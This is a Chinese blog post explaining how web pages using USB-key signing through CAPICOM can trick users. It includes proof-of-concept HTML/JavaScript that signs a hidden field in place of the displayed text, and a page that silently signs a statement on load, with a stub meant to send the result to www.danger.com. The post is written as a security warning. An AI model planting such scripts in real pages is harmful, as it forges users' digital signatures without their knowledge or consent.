很多人喜欢使用UsbKey产生数字签名的方式提交到服务器,最近我做的几个省厅的项目均如此,利用USBKey提供的ActiveX插件(更常见的是CAPICOM接口)通过USBKey厂商提供的WindowsCSP去调用UsbKey产生数字签名。
1,  
				
				用户在页面浏览文书
		
		
				
						      2,  
				
				用户对页面中的
				Form
				数据进行签名
		
		
				
						      3,  
				
				在本地产生数字签名
		
		
				
						      4,  
				
				数字签名提交到服务器
		
		
				
						
   大家都认为以上的方案非常可靠,但这种方案存在一个极为严重的安全问题——诱导签名。
   UsbKey的用户在大多数情况下无法确认自己看到的数据就是自己说签名的数据!因为,签名数据源是通过
				JavaScript
				去控制的,而不是用户。
		
		
				我举一个简单的例子,如下面的页面
				, 
				用户看到并以为自己产生签名的源数据是“逮捕张子强及其同伙”
				, 
				但其实不是!
		
		
				
						
								| 
												<script src="Sign.js"></script>
										 
												<OBJECT id="oCAPICOM" 
										 
												codeBase="capicom.cab#version=2,0,0,3" classid="clsid:A996E48C-D3DC-4244-89F7-AFA33EC60679"></OBJECT>
										 
												
														 
												
										 
												<br>
										 
												<form id="writeSig" method="post" name="writeSig" action="/SignServlet" target="_top">
										 
												看上去进行签名的数据:
												<input name="data"  value="
												逮捕张子强及其同伙
												"
												>
										 
												
														 
												
										 
												<br>
										 
												<!-- 
												实际上进行签名的数据:
												"
												释放张子强及其同伙
												" -->
										 
												<input type="hidden" name="data_danger" value="
												释放张子强及其同伙
												"
												>
										 
												<br>
										 
												
														 
												
										 
												数字签名结果:
												<textarea cols="100" rows="20" id="theSignedData"></textarea>
										 
												<br>
										 
												<INPUT TYPE="button" name=t1 
										 
												value="
												签名数据
												" onclick="theSignedData.value=pkiSignData(data_danger.value)">
										 
												</form>
										 | 
				
		
		
				上面的恶意例子能够运行于所有的
				USBKey
				的页面,用户签名的数据其实是“释放张子强及其同伙”。但由于数据被隐藏于页面之后,用户根本看不到,以至于产生恶意诱导签名的严重后果。
		
		
				防止这种恶意诱导签名的办法通常是在服务器要确保所有的涉及数字签名的页面在传递到客户端
				IE
				浏览器前,都不会被篡改,但这种方法不能保证
				100%
				安全,因为在用户那一端,仍然存在一种非常高风险的诱导签名的可能,甚至是未经用户许可,直接调用用户
				USBKey
				去产生恶意数字签名,看下面的例子:
		
		
				用户在浏览页面的时候,已经在页面背后无声无色地产生了数字签名,而且用户根本无法知道自己已经对“
				我今天去好又多偷了几包烟
				”这样的内容进行了签名!
		
		
				下面的例子是真实的例子,能够运行于任何的
				IE
				浏览器,最后的结果是,页面通过用户的
				UsbKey
				产生了恶意签名并送到
				
						www.danger.com
				
				。
		
		
				
						
								| 
												<script src="Sign.js"></script>
										 
												<OBJECT id="oCAPICOM" 
										 
												codeBase="capicom.cab#version=2,0,0,3" classid="clsid:A996E48C-D3DC-4244-89F7-AFA33EC60679"></OBJECT>
										 
												<body onLoad="signWithAllowed()">
										 
												<br>
										 
												<form  id="writeSig" method="post" name="writeSig" action="/SignServlet" target="_top">
										 
												你在浏览文书:
												<input name="data"  value="
												逮捕张子强及其同伙
												">
										 
												你以为这是仅仅是一个用于浏览的页面!!
												
														
														
												
										 
												
														 
												
										 
												</body>
										 
												
														 
												
										 
												<script>
										 
												function signWithAllowed()
										 
												{
										 
												
														         //alert('
												恶意签名执行
												, 
												以下的签名将不知不觉地被产生,并保存到某个地方
												');
										 
												
														         var sign_value=pkiSignData(' 我今天去好又多偷了几包烟 s'); 
												
														         //alert(sign_value);
										 
												
														         sendSignValueToDangerPalce();
										 
												}
										 
												
														 
												
										 
												function sendSignValueToDangerPalce()
										 
												{
										 
												
														         //Send Signvalue to www.danger.com
										 
												}
										 
												</script>
										 | 
				
		
       在目前大多数Usbkey中均存在诱导签名的问题,在第一次产生数字签名的时候,USBKey会提示用户输入PIN,但在第2次,第3次签名动作产生的时候,这些都已经是用户无法感知的事实!
      这就是我为什么不希望使用B/S,而是C/S方式手段产生数字签名的原因。
       我的另外一篇文章提到如何通过Java调用CryptoAPI:       
http://www.blogjava.net/security/archive/2006/07/11/java_cryptoapi_csp_signature.html, 已经被用于SecureX Eclipse Plugin(securex.sourceforge.net)当中。      
      在我负责的多个业务系统中的数字签名/印章中,均存在上面的危险!除非我们能够确保恶意页面不存在,否则,某个程序员在系统中,哪怕是Insert很小一段JS代码到某个不显眼的页面,后果是非常严重的。